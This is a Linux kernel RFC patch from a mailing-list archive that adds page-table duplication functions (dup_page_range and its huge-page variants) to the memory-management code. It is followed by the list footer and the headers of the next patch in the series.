diff --git a/include/linux/huge_mm.h b/include/linux/huge_mm.h
index 94a0e680b7d7..52c0498426ef 100644
--- a/include/linux/huge_mm.h
+++ b/include/linux/huge_mm.h
@@ -5,6 +5,12 @@ extern int do_huge_pmd_anonymous_page(struct vm_fault *vmf);
 extern int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 			 pmd_t *dst_pmd, pmd_t *src_pmd, unsigned long addr,
 			 struct vm_area_struct *vma);
+extern int dup_huge_pmd(struct mm_struct *dst_mm,
+			struct vm_area_struct *dst_vma,
+			struct mm_struct *src_mm,
+			struct vm_area_struct *src_vma,
+			struct mmu_gather *tlb, pmd_t *dst_pmd, pmd_t *src_pmd,
+			unsigned long addr);
 extern void huge_pmd_set_accessed(struct vm_fault *vmf, pmd_t orig_pmd);
 extern int do_huge_pmd_wp_page(struct vm_fault *vmf, pmd_t orig_pmd);
 extern struct page *follow_trans_huge_pmd(struct vm_area_struct *vma,
diff --git a/include/linux/hugetlb.h b/include/linux/hugetlb.h
index 72260cc252f2..d8eb682e39a1 100644
--- a/include/linux/hugetlb.h
+++ b/include/linux/hugetlb.h
@@ -63,6 +63,10 @@ int hugetlb_mempolicy_sysctl_handler(struct ctl_table *, int,
 #endif
 
 int copy_hugetlb_page_range(struct mm_struct *, struct mm_struct *, struct vm_area_struct *);
+int dup_hugetlb_page_range(struct mm_struct *dst_mm,
+			   struct vm_area_struct *dst_vma,
+			   struct mm_struct *src_mm,
+			   struct vm_area_struct *src_vma);
 long follow_hugetlb_page(struct mm_struct *, struct vm_area_struct *,
 			 struct page **, struct vm_area_struct **,
 			 unsigned long *, unsigned long *, long, unsigned int);
@@ -134,6 +138,7 @@ static inline unsigned long hugetlb_total_pages(void)
 #define follow_hugetlb_page(m,v,p,vs,a,b,i,w)	({ BUG(); 0; })
 #define follow_huge_addr(mm, addr, write)	ERR_PTR(-EINVAL)
 #define copy_hugetlb_page_range(src, dst, vma)	({ BUG(); 0; })
+#define dup_hugetlb_page_range(dst, dst_vma, src, src_vma) ({ BUG(); 0; })
 static inline void hugetlb_report_meminfo(struct seq_file *m)
 {
 }
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 92925d97da20..b39ec795f64c 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1208,6 +1208,8 @@ void free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 		unsigned long end, unsigned long floor, unsigned long ceiling);
 int copy_page_range(struct mm_struct *dst, struct mm_struct *src,
 			struct vm_area_struct *vma);
+int dup_page_range(struct mm_struct *dst, struct vm_area_struct *dst_vma,
+		   struct mm_struct *src, struct vm_area_struct *src_vma);
 void unmap_mapping_range(struct address_space *mapping,
 		loff_t const holebegin, loff_t const holelen, int even_cows);
 int follow_pte_pmd(struct mm_struct *mm, unsigned long address,
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index d5b2604867e5..1edf8c6d1814 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -887,6 +887,71 @@ int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	return ret;
 }
 
+int dup_huge_pmd(struct mm_struct *dst_mm, struct vm_area_struct *dst_vma,
+		 struct mm_struct *src_mm, struct vm_area_struct *src_vma,
+		 struct mmu_gather *tlb, pmd_t *dst_pmd, pmd_t *src_pmd,
+		 unsigned long addr)
+{
+	spinlock_t *dst_ptl, *src_ptl;
+	struct page *page;
+	pmd_t pmd;
+	pgtable_t pgtable;
+	int ret;
+
+	pgtable = pte_alloc_one(dst_mm, addr);
+	if (!pgtable)
+		return -ENOMEM;
+
+	if (!pmd_none_or_clear_bad(dst_pmd) &&
+	    unlikely(zap_huge_pmd(tlb, dst_vma, dst_pmd, addr)))
+		return -ENOMEM;
+
+	dst_ptl = pmd_lock(dst_mm, dst_pmd);
+	src_ptl = pmd_lockptr(src_mm, src_pmd);
+	spin_lock_nested(src_ptl, SINGLE_DEPTH_NESTING);
+
+	if (!pmd_trans_huge(*src_pmd)) {
+		pte_free(dst_mm, pgtable);
+		ret = -EAGAIN;
+		goto out_unlock;
+	}
+
+	if (is_huge_zero_pmd(*src_pmd)) {
+		struct page *zero_page;
+
+		zero_page = mm_get_huge_zero_page(dst_mm);
+		set_huge_zero_page(pgtable, dst_mm, dst_vma, addr, dst_pmd,
+				   zero_page);
+
+		ret = 0;
+		goto out_unlock;
+	}
+
+	pmd = *src_pmd;
+
+	page = pmd_page(pmd);
+	VM_BUG_ON_PAGE(!PageHead(page), page);
+	get_page(page);
+	page_dup_rmap(page, true);
+
+	add_mm_counter(dst_mm, MM_ANONPAGES, HPAGE_PMD_NR);
+	atomic_long_inc(&dst_mm->nr_ptes);
+	pgtable_trans_huge_deposit(dst_mm, dst_pmd, pgtable);
+
+	if (!(dst_vma->vm_flags & VM_WRITE))
+		pmd = pmd_wrprotect(pmd);
+	pmd = pmd_mkold(pmd);
+
+	set_pmd_at(dst_mm, addr, dst_pmd, pmd);
+	ret = 0;
+
+out_unlock:
+	spin_unlock(src_ptl);
+	spin_unlock(dst_ptl);
+
+	return ret;
+}
+
 void huge_pmd_set_accessed(struct vm_fault *vmf, pmd_t orig_pmd)
 {
 	pmd_t entry;
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index c7025c132670..776c024de7c1 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -3286,6 +3286,74 @@ int copy_hugetlb_page_range(struct mm_struct *dst, struct mm_struct *src,
 	return ret;
 }
 
+static inline int
+unmap_one_hugepage(struct mmu_gather *tlb, struct vm_area_struct *vma,
+		   pte_t *ptep, unsigned long addr, struct page *ref_page)
+{
+	struct mm_struct *mm = vma->vm_mm;
+	pte_t pte;
+	spinlock_t *ptl;
+	struct page *page;
+	struct hstate *h = hstate_vma(vma);
+
+	ptl = huge_pte_lock(h, mm, ptep);
+	if (huge_pmd_unshare(mm, &addr, ptep)) {
+		spin_unlock(ptl);
+		return 0;
+	}
+
+	pte = huge_ptep_get(ptep);
+	if (huge_pte_none(pte)) {
+		spin_unlock(ptl);
+		return 0;
+	}
+
+	/*
+	 * Migrating hugepage or HWPoisoned hugepage is already
+	 * unmapped and its refcount is dropped, so just clear pte here.
+	 */
+	if (unlikely(!pte_present(pte))) {
+		huge_pte_clear(mm, addr, ptep);
+		spin_unlock(ptl);
+		return 0;
+	}
+
+	page = pte_page(pte);
+	/*
+	 * If a reference page is supplied, it is because a specific
+	 * page is being unmapped, not a range. Ensure the page we
+	 * are about to unmap is the actual page of interest.
+	 */
+	if (ref_page) {
+		if (page != ref_page) {
+			spin_unlock(ptl);
+			return 0;
+		}
+		/*
+		 * Mark the VMA as having unmapped its page so that
+		 * future faults in this VMA will fail rather than
+		 * looking like data was lost
+		 */
+		set_vma_resv_flags(vma, HPAGE_RESV_UNMAPPED);
+	}
+
+	pte = huge_ptep_get_and_clear(mm, addr, ptep);
+	tlb_remove_huge_tlb_entry(h, tlb, ptep, addr);
+	if (huge_pte_dirty(pte))
+		set_page_dirty(page);
+
+	hugetlb_count_sub(pages_per_huge_page(h), mm);
+	page_remove_rmap(page, true);
+
+	spin_unlock(ptl);
+	tlb_remove_page_size(tlb, page, huge_page_size(h));
+
+	/*
+	 * Bail out after unmapping reference page if supplied
+	 */
+	return ref_page ? 1 : 0;
+}
+
 void __unmap_hugepage_range(struct mmu_gather *tlb, struct vm_area_struct *vma,
 			    unsigned long start, unsigned long end,
 			    struct page *ref_page)
@@ -3293,9 +3361,6 @@ void __unmap_hugepage_range(struct mmu_gather *tlb, struct vm_area_struct *vma,
 	struct mm_struct *mm = vma->vm_mm;
 	unsigned long address;
 	pte_t *ptep;
-	pte_t pte;
-	spinlock_t *ptl;
-	struct page *page;
 	struct hstate *h = hstate_vma(vma);
 	unsigned long sz = huge_page_size(h);
 	const unsigned long mmun_start = start;	/* For mmu_notifiers */
@@ -3318,62 +3383,10 @@ void __unmap_hugepage_range(struct mmu_gather *tlb, struct vm_area_struct *vma,
 		if (!ptep)
 			continue;
 
-		ptl = huge_pte_lock(h, mm, ptep);
-		if (huge_pmd_unshare(mm, &address, ptep)) {
-			spin_unlock(ptl);
-			continue;
-		}
-
-		pte = huge_ptep_get(ptep);
-		if (huge_pte_none(pte)) {
-			spin_unlock(ptl);
-			continue;
-		}
-
-		/*
-		 * Migrating hugepage or HWPoisoned hugepage is already
-		 * unmapped and its refcount is dropped, so just clear pte here.
-		 */
-		if (unlikely(!pte_present(pte))) {
-			huge_pte_clear(mm, address, ptep);
-			spin_unlock(ptl);
-			continue;
-		}
-
-		page = pte_page(pte);
-		/*
-		 * If a reference page is supplied, it is because a specific
-		 * page is being unmapped, not a range. Ensure the page we
-		 * are about to unmap is the actual page of interest.
-		 */
-		if (ref_page) {
-			if (page != ref_page) {
-				spin_unlock(ptl);
-				continue;
-			}
-			/*
-			 * Mark the VMA as having unmapped its page so that
-			 * future faults in this VMA will fail rather than
-			 * looking like data was lost
-			 */
-			set_vma_resv_flags(vma, HPAGE_RESV_UNMAPPED);
-		}
-
-		pte = huge_ptep_get_and_clear(mm, address, ptep);
-		tlb_remove_huge_tlb_entry(h, tlb, ptep, address);
-		if (huge_pte_dirty(pte))
-			set_page_dirty(page);
-
-		hugetlb_count_sub(pages_per_huge_page(h), mm);
-		page_remove_rmap(page, true);
-
-		spin_unlock(ptl);
-		tlb_remove_page_size(tlb, page, huge_page_size(h));
-		/*
-		 * Bail out after unmapping reference page if supplied
-		 */
-		if (ref_page)
+		if (unlikely(unmap_one_hugepage(tlb, vma, ptep, address,
+						ref_page)))
 			break;
+
 	}
 	mmu_notifier_invalidate_range_end(mm, mmun_start, mmun_end);
 	tlb_end_vma(tlb, vma);
@@ -3411,6 +3424,82 @@ void unmap_hugepage_range(struct vm_area_struct *vma, unsigned long start,
 	tlb_finish_mmu(&tlb, start, end);
 }
 
+int dup_hugetlb_page_range(struct mm_struct *dst_mm,
+			   struct vm_area_struct *dst_vma,
+			   struct mm_struct *src_mm,
+			   struct vm_area_struct *src_vma)
+{
+	pte_t *dst_pte, *src_pte;
+	struct mmu_gather tlb;
+	struct hstate *h = hstate_vma(dst_vma);
+	unsigned long addr;
+	unsigned long mmu_start = dst_vma->vm_start;
+	unsigned long mmu_end = dst_vma->vm_end;
+	unsigned long size = huge_page_size(h);
+	int ret;
+
+	tlb_gather_mmu(&tlb, dst_mm, mmu_start, mmu_end);
+	tlb_remove_check_page_size_change(&tlb, size);
+	mmu_notifier_invalidate_range_start(dst_mm, mmu_start, mmu_end);
+
+	for (addr = src_vma->vm_start; addr < src_vma->vm_end; addr += size) {
+		pte_t pte;
+		spinlock_t *dst_ptl, *src_ptl;
+		struct page *page;
+
+		dst_pte = huge_pte_offset(dst_mm, addr);
+		src_pte = huge_pte_offset(src_mm, addr);
+
+		if (dst_pte == src_pte)
+			/* Just continue if the ptes are already equal. */
+			continue;
+		else if (dst_pte && !huge_pte_none(*dst_pte))
+			/*
+			 * ptes are not equal, so we have to get rid of the old
+			 * mapping in the destination page table.
+			 */
+			unmap_one_hugepage(&tlb, dst_vma, dst_pte, addr, NULL);
+
+		if (!src_pte || huge_pte_none(*src_pte))
+			continue;
+
+		dst_pte = huge_pte_alloc(dst_mm, addr, size);
+		if (!dst_pte) {
+			ret = -ENOMEM;
+			break;
+		}
+
+		dst_ptl = huge_pte_lock(h, dst_mm, dst_pte);
+		src_ptl = huge_pte_lockptr(h, src_mm, src_pte);
+		spin_lock_nested(src_ptl, SINGLE_DEPTH_NESTING);
+
+		pte = huge_ptep_get(src_pte);
+		page = pte_page(pte);
+		if (page) {
+			get_page(page);
+			page_dup_rmap(page, true);
+		}
+
+		if (likely(!is_hugetlb_entry_migration(pte) &&
+			   !is_hugetlb_entry_hwpoisoned(pte)))
+			hugetlb_count_add(pages_per_huge_page(h), dst_mm);
+
+		if (!(dst_vma->vm_flags & VM_WRITE))
+			pte = pte_wrprotect(pte);
+		pte = pte_mkold(pte);
+
+		set_huge_pte_at(dst_mm, addr, dst_pte, pte);
+
+		spin_unlock(src_ptl);
+		spin_unlock(dst_ptl);
+	}
+
+	mmu_notifier_invalidate_range_end(dst_mm, mmu_start, mmu_end);
+	tlb_finish_mmu(&tlb, mmu_start, mmu_end);
+
+	return ret;
+}
+
 /*
  * This is called when the original mapper is failing to COW a MAP_PRIVATE
  * mappping it owns the reserve page for. The intention is to unmap the page
diff --git a/mm/memory.c b/mm/memory.c
index 6bf2b471e30c..7026f2146fcd 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -1108,6 +1108,82 @@ int copy_page_range(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	return ret;
 }
 
+static unsigned long zap_one_pte(struct mmu_gather *tlb,
+				 struct vm_area_struct *vma, pte_t *pte,
+				 unsigned long *paddr, int *force_flush,
+				 int *rss, struct zap_details *details)
+{
+	unsigned long addr = *paddr;
+	struct mm_struct *mm = tlb->mm;
+	swp_entry_t entry;
+	pte_t ptent = *pte;
+
+	if (pte_present(ptent)) {
+		struct page *page;
+
+		page = vm_normal_page(vma, addr, ptent);
+		if (unlikely(details) && page) {
+			/*
+			 * unmap_shared_mapping_pages() wants to
+			 * invalidate cache without truncating:
+			 * unmap shared but keep private pages.
+			 */
+			if (details->check_mapping &&
+			    details->check_mapping != page_rmapping(page))
+				return 0;
+		}
+		ptent = ptep_get_and_clear_full(mm, addr, pte,
+						tlb->fullmm);
+		tlb_remove_tlb_entry(tlb, pte, addr);
+		if (unlikely(!page))
+			return 0;
+
+		if (!PageAnon(page)) {
+			if (pte_dirty(ptent)) {
+				/*
+				 * oom_reaper cannot tear down dirty
+				 * pages
+				 */
+				if (unlikely(details && details->ignore_dirty))
+					return 0;
+				*force_flush = 1;
+				set_page_dirty(page);
+			}
+			if (pte_young(ptent) &&
+			    likely(!(vma->vm_flags & VM_SEQ_READ)))
+				mark_page_accessed(page);
+		}
+		rss[mm_counter(page)]--;
+		page_remove_rmap(page, false);
+		if (unlikely(page_mapcount(page) < 0))
+			print_bad_pte(vma, addr, ptent, page);
+		if (unlikely(__tlb_remove_page(tlb, page))) {
+			*force_flush = 1;
+			*paddr += PAGE_SIZE;
+			return 1;
+		}
+		return 0;
+	}
+	/* only check swap_entries if explicitly asked for in details */
+	if (unlikely(details && !details->check_swap_entries))
+		return 0;
+
+	entry = pte_to_swp_entry(ptent);
+	if (!non_swap_entry(entry))
+		rss[MM_SWAPENTS]--;
+	else if (is_migration_entry(entry)) {
+		struct page *page;
+
+		page = migration_entry_to_page(entry);
+		rss[mm_counter(page)]--;
+	}
+	if (unlikely(!free_swap_and_cache(entry)))
+		print_bad_pte(vma, addr, ptent, NULL);
+	pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);
+
+	return 0;
+}
+
 static unsigned long zap_pte_range(struct mmu_gather *tlb,
 				struct vm_area_struct *vma, pmd_t *pmd,
 				unsigned long addr, unsigned long end,
@@ -1119,7 +1195,6 @@ static unsigned long zap_pte_range(struct mmu_gather *tlb,
 	spinlock_t *ptl;
 	pte_t *start_pte;
 	pte_t *pte;
-	swp_entry_t entry;
 
 	tlb_remove_check_page_size_change(tlb, PAGE_SIZE);
 again:
@@ -1128,73 +1203,12 @@ static unsigned long zap_pte_range(struct mmu_gather *tlb,
 	pte = start_pte;
 	arch_enter_lazy_mmu_mode();
 	do {
-		pte_t ptent = *pte;
-		if (pte_none(ptent)) {
-			continue;
-		}
-
-		if (pte_present(ptent)) {
-			struct page *page;
-
-			page = vm_normal_page(vma, addr, ptent);
-			if (unlikely(details) && page) {
-				/*
-				 * unmap_shared_mapping_pages() wants to
-				 * invalidate cache without truncating:
-				 * unmap shared but keep private pages.
-				 */
-				if (details->check_mapping &&
-				    details->check_mapping != page_rmapping(page))
-					continue;
-			}
-			ptent = ptep_get_and_clear_full(mm, addr, pte,
-							tlb->fullmm);
-			tlb_remove_tlb_entry(tlb, pte, addr);
-			if (unlikely(!page))
-				continue;
-
-			if (!PageAnon(page)) {
-				if (pte_dirty(ptent)) {
-					/*
-					 * oom_reaper cannot tear down dirty
-					 * pages
-					 */
-					if (unlikely(details && details->ignore_dirty))
-						continue;
-					force_flush = 1;
-					set_page_dirty(page);
-				}
-				if (pte_young(ptent) &&
-				    likely(!(vma->vm_flags & VM_SEQ_READ)))
-					mark_page_accessed(page);
-			}
-			rss[mm_counter(page)]--;
-			page_remove_rmap(page, false);
-			if (unlikely(page_mapcount(page) < 0))
-				print_bad_pte(vma, addr, ptent, page);
-			if (unlikely(__tlb_remove_page(tlb, page))) {
-				force_flush = 1;
-				addr += PAGE_SIZE;
-				break;
-			}
-			continue;
-		}
-		/* only check swap_entries if explicitly asked for in details */
-		if (unlikely(details && !details->check_swap_entries))
+		if (pte_none(*pte))
 			continue;
 
-		entry = pte_to_swp_entry(ptent);
-		if (!non_swap_entry(entry))
-			rss[MM_SWAPENTS]--;
-		else if (is_migration_entry(entry)) {
-			struct page *page;
-
-			page = migration_entry_to_page(entry);
-			rss[mm_counter(page)]--;
-		}
-		if (unlikely(!free_swap_and_cache(entry)))
-			print_bad_pte(vma, addr, ptent, NULL);
-		pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);
+		if (unlikely(zap_one_pte(tlb, vma, pte, &addr, &force_flush,
+					 rss, details)))
+			break;
 	} while (pte++, addr += PAGE_SIZE, addr != end);
 
 	add_mm_rss_vec(mm, rss);
@@ -1445,6 +1459,321 @@ int zap_vma_ptes(struct vm_area_struct *vma, unsigned long address,
 }
 EXPORT_SYMBOL_GPL(zap_vma_ptes);
 
+static inline int
+dup_one_pte(struct mm_struct *dst_mm, struct vm_area_struct *dst_vma,
+	    struct mm_struct *src_mm, struct vm_area_struct *src_vma,
+	    struct mmu_gather *tlb, pte_t *dst_pte, pte_t *src_pte,
+	    unsigned long addr, int *force_flush, int *rss)
+{
+	unsigned long raddr = addr;
+	pte_t pte = *src_pte;
+	struct page *page;
+
+	/*
+	 * If the ptes are already exactly the same, we don't have to do
+	 * anything.
+	 */
+	if (likely(src_pte == dst_pte))
+		return 0;
+
+	/* Remove the old mapping first */
+	if (!pte_none(*dst_pte) &&
+	    unlikely(zap_one_pte(tlb, dst_vma, dst_pte, &raddr, force_flush,
+				 rss, NULL)))
+		return -ENOMEM;
+
+	/* pte contains position in swap or file, so copy. */
+	if (unlikely(!pte_present(pte))) {
+		swp_entry_t entry = pte_to_swp_entry(pte);
+
+		if (likely(!non_swap_entry(entry))) {
+			if (swap_duplicate(entry) < 0)
+				return entry.val;
+
+			/* make sure dst_mm is on swapoff's mmlist. */
+			if (unlikely(list_empty(&dst_mm->mmlist))) {
+				spin_lock(&mmlist_lock);
+				if (list_empty(&dst_mm->mmlist))
+					list_add(&dst_mm->mmlist,
+							&src_mm->mmlist);
+				spin_unlock(&mmlist_lock);
+			}
+			rss[MM_SWAPENTS]++;
+		} else if (is_migration_entry(entry)) {
+			page = migration_entry_to_page(entry);
+
+			rss[mm_counter(page)]++;
+		}
+		goto out_set_pte;
+	}
+
+	pte = pte_mkold(pte);
+
+	page = vm_normal_page(src_vma, addr, pte);
+	if (page) {
+		get_page(page);
+		page_dup_rmap(page, false);
+		rss[mm_counter(page)]++;
+	}
+
+out_set_pte:
+	if (!(dst_vma->vm_flags & VM_WRITE))
+		pte = pte_wrprotect(pte);
+
+	set_pte_at(dst_mm, addr, dst_pte, pte);
+	return 0;
+}
+
+static inline int
+dup_pte_range(struct mm_struct *dst_mm, struct vm_area_struct *dst_vma,
+	      struct mm_struct *src_mm, struct vm_area_struct *src_vma,
+	      struct mmu_gather *tlb, pmd_t *dst_pmd, pmd_t *src_pmd,
+	      unsigned long addr, unsigned long end)
+{
+	pte_t *orig_dst_pte, *orig_src_pte;
+	pte_t *dst_pte, *src_pte;
+	spinlock_t *dst_ptl, *src_ptl;
+	int force_flush = 0;
+	int progress = 0;
+	int rss[NR_MM_COUNTERS];
+	swp_entry_t entry = (swp_entry_t){0};
+
+again:
+	init_rss_vec(rss);
+
+	dst_pte = pte_alloc_map_lock(dst_mm, dst_pmd, addr, &dst_ptl);
+	if (!dst_pte)
+		return -ENOMEM;
+	src_pte = pte_offset_map(src_pmd, addr);
+	src_ptl = pte_lockptr(src_mm, src_pmd);
+	spin_lock_nested(src_ptl, SINGLE_DEPTH_NESTING);
+	orig_dst_pte = dst_pte;
+	orig_src_pte = src_pte;
+
+	arch_enter_lazy_mmu_mode();
+
+	do {
+		/* Make sure that we are not holding the looks too long. */
+		if (progress >= 32) {
+			progress = 0;
+			if (need_resched() || spin_needbreak(src_ptl) ||
+			    spin_needbreak(dst_ptl))
+				break;
+		}
+
+		if (pte_none(*src_pte) && pte_none(*dst_pte)) {
+			progress++;
+			continue;
+		} else if (pte_none(*src_pte)) {
+			unsigned long raddr = addr;
+			int ret;
+
+			ret = zap_one_pte(tlb, dst_vma, dst_pte, &raddr,
+					  &force_flush, rss, NULL);
+			pte_clear(dst_mm, addr, dst_pte);
+
+			progress += 8;
+			if (ret)
+				break;
+
+			continue;
+		}
+
+		entry.val = dup_one_pte(dst_mm, dst_vma, src_mm, src_vma,
+					tlb, dst_pte, src_pte, addr,
+					&force_flush, rss);
+
+		if (entry.val)
+			break;
+		progress += 8;
+	} while (dst_pte++, src_pte++, addr += PAGE_SIZE, addr != end);
+
+	arch_leave_lazy_mmu_mode();
+	spin_unlock(src_ptl);
+	pte_unmap(orig_src_pte);
+	add_mm_rss_vec(dst_mm, rss);
+
+	/* Do the TLB flush before unlocking the destination ptl */
+	if (force_flush)
+		tlb_flush_mmu_tlbonly(tlb);
+	pte_unmap_unlock(orig_dst_pte, dst_ptl);
+
+	/* Sometimes we have to free all the batch memory as well. */
+	if (force_flush) {
+		force_flush = 0;
+		tlb_flush_mmu_free(tlb);
+	}
+
+	cond_resched();
+	if (entry.val) {
+		if (add_swap_count_continuation(entry, GFP_KERNEL) < 0)
+			return -ENOMEM;
+		progress = 0;
+	}
+	if (addr != end)
+		goto again;
+
+	return 0;
+}
+
+static inline int
+dup_pmd_range(struct mm_struct *dst_mm, struct vm_area_struct *dst_vma,
+	      struct mm_struct *src_mm, struct vm_area_struct *src_vma,
+	      struct mmu_gather *tlb, pud_t *dst_pud, pud_t *src_pud,
+	      unsigned long addr, unsigned long end)
+{
+	pmd_t *dst_pmd, *src_pmd;
+	unsigned long next;
+
+	dst_pmd = pmd_alloc(dst_mm, dst_pud, addr);
+	if (!dst_pmd)
+		return -ENOMEM;
+	src_pmd = pmd_offset(src_pud, addr);
+	do {
+		next = pmd_addr_end(addr, end);
+
+		if (pmd_none_or_clear_bad(src_pmd) &&
+		    pmd_none_or_clear_bad(dst_pmd)) {
+			continue;
+		} else if (pmd_none_or_clear_bad(src_pmd)) {
+			/* src unmapped, but dst not --> free dst too */
+			zap_pte_range(tlb, dst_vma, dst_pmd, addr, next, NULL);
+			free_pte_range(tlb, dst_pmd, addr);
+
+			continue;
+		} else if (pmd_trans_huge(*src_pmd) || pmd_devmap(*src_pmd)) {
+			int err;
+
+			VM_BUG_ON(next-addr != HPAGE_PMD_SIZE);
+
+			/*
+			 * We may need to unmap the content of the destination
+			 * page table first. So check this here, because
+			 * inside dup_huge_pmd we cannot do it anymore.
+			 */
+			if (unlikely(!pmd_trans_huge(*dst_pmd) &&
+				     !pmd_devmap(*dst_pmd) &&
+				     !pmd_none_or_clear_bad(dst_pmd))) {
+				zap_pte_range(tlb, dst_vma, dst_pmd, addr, next,
+					      NULL);
+				free_pte_range(tlb, dst_pmd, addr);
+			}
+
+			err = dup_huge_pmd(dst_mm, dst_vma, src_mm, src_vma,
+					   tlb, dst_pmd, src_pmd, addr);
+
+			if (err == -ENOMEM)
+				return -ENOMEM;
+			if (!err)
+				continue;
+			/* explicit fall through */
+
+		}
+
+		if (unlikely(dup_pte_range(dst_mm, dst_vma, src_mm, src_vma,
+					   tlb, dst_pmd, src_pmd, addr, next)))
+			return -ENOMEM;
+	} while (dst_pmd++, src_pmd++, addr = next, addr != end);
+
+	return 0;
+}
+
+static inline int
+dup_pud_range(struct mm_struct *dst_mm, struct vm_area_struct *dst_vma,
+	      struct mm_struct *src_mm, struct vm_area_struct *src_vma,
+	      struct mmu_gather *tlb, pgd_t *dst_pgd, pgd_t *src_pgd,
+	      unsigned long addr, unsigned long end)
+{
+	pud_t *dst_pud, *src_pud;
+	unsigned long next;
+
+	dst_pud = pud_alloc(dst_mm, dst_pgd, addr);
+	if (!dst_pud)
+		return -ENOMEM;
+	src_pud = pud_offset(src_pgd, addr);
+	do {
+		next = pud_addr_end(addr, end);
+		if (pud_none_or_clear_bad(src_pud) &&
+		    pud_none_or_clear_bad(dst_pud)) {
+			continue;
+		} else if (pud_none_or_clear_bad(src_pud)) {
+			/* src is unmapped, but dst not --> free dst too */
+			zap_pmd_range(tlb, dst_vma, dst_pud, addr, next, NULL);
+			free_pmd_range(tlb, dst_pud, addr, next, addr, next);
+
+			continue;
+		}
+
+		if (unlikely(dup_pmd_range(dst_mm, dst_vma, src_mm, src_vma,
+					   tlb, dst_pud, src_pud, addr, next)))
+			return -ENOMEM;
+	} while (dst_pud++, src_pud++, addr = next, addr != end);
+
+	return 0;
+}
+
+/**
+ * One-to-one duplicate the page table entries of one memory map to another
+ * memory map. After this function, the destination memory map will have the
+ * exact same page table entries for the specified region as the source memory
+ * map. Preexisting mappings in the destination memory map will be removed
+ * before they are overwritten with the ones from the source memory map if they
+ * differ.
+ *
+ * The difference between this function and @copy_page_range is that
+ * 'copy_page_range' will copy the underlying memory pages if necessary (e.g.
+ * for anonymous memory) with the help of copy-on-write while 'dup_page_range'
+ * will only duplicate the page table entries and hence allow both memory maps
+ * to actually share the referenced memory pages.
+ **/
+int dup_page_range(struct mm_struct *dst_mm, struct vm_area_struct *dst_vma,
+		   struct mm_struct *src_mm, struct vm_area_struct *src_vma)
+{
+	pgd_t *dst_pgd, *src_pgd;
+	struct mmu_gather tlb;
+	unsigned long next;
+	unsigned long addr = src_vma->vm_start;
+	unsigned long end = src_vma->vm_end;
+	unsigned long mmu_start = dst_vma->vm_start;
+	unsigned long mmu_end = dst_vma->vm_end;
+	int ret = 0;
+
+	if (is_vm_hugetlb_page(src_vma))
+		return dup_hugetlb_page_range(dst_mm, dst_vma, src_mm,
+					      src_vma);
+
+	tlb_gather_mmu(&tlb, dst_mm, mmu_start, mmu_end);
+	mmu_notifier_invalidate_range_start(dst_mm, mmu_start, mmu_end);
+
+	dst_pgd = pgd_offset(dst_mm, addr);
+	src_pgd = pgd_offset(src_mm, addr);
+	do {
+		next = pgd_addr_end(addr, end);
+		if (pgd_none_or_clear_bad(src_pgd) &&
+		    pgd_none_or_clear_bad(dst_pgd)) {
+			continue;
+		} else if (pgd_none_or_clear_bad(src_pgd)) {
+			/* src is unmapped, but dst not --> free dst too */
+			zap_pud_range(&tlb, dst_vma, dst_pgd, addr, next, NULL);
+			free_pud_range(&tlb, dst_pgd, addr, next, addr, next);
+
+			continue;
+		}
+
+		if (unlikely(dup_pud_range(dst_mm, dst_vma, src_mm, src_vma,
+					   &tlb, dst_pgd, src_pgd, addr,
+					   next))) {
+			ret = -ENOMEM;
+			break;
+		}
+	} while (dst_pgd++, src_pgd++, addr = next, addr != end);
+
+	mmu_notifier_invalidate_range_end(dst_mm, mmu_start, mmu_end);
+	tlb_finish_mmu(&tlb, mmu_start, mmu_end);
+
+	return ret;
+}
+
 pte_t *__get_locked_pte(struct mm_struct *mm, unsigned long addr,
 			spinlock_t **ptl)
 {
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 11/13] mm/vas: Introduce VAS segments - shareable address space regions
Date: Mon, 13 Mar 2017 15:14:13 -0700
Lines: 1792
Approved: news@gmane.org
Message-ID: <20170313221415.9375-12-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443328 6651 195.159.176.226 (13 Mar 2017 22:15:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:28 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
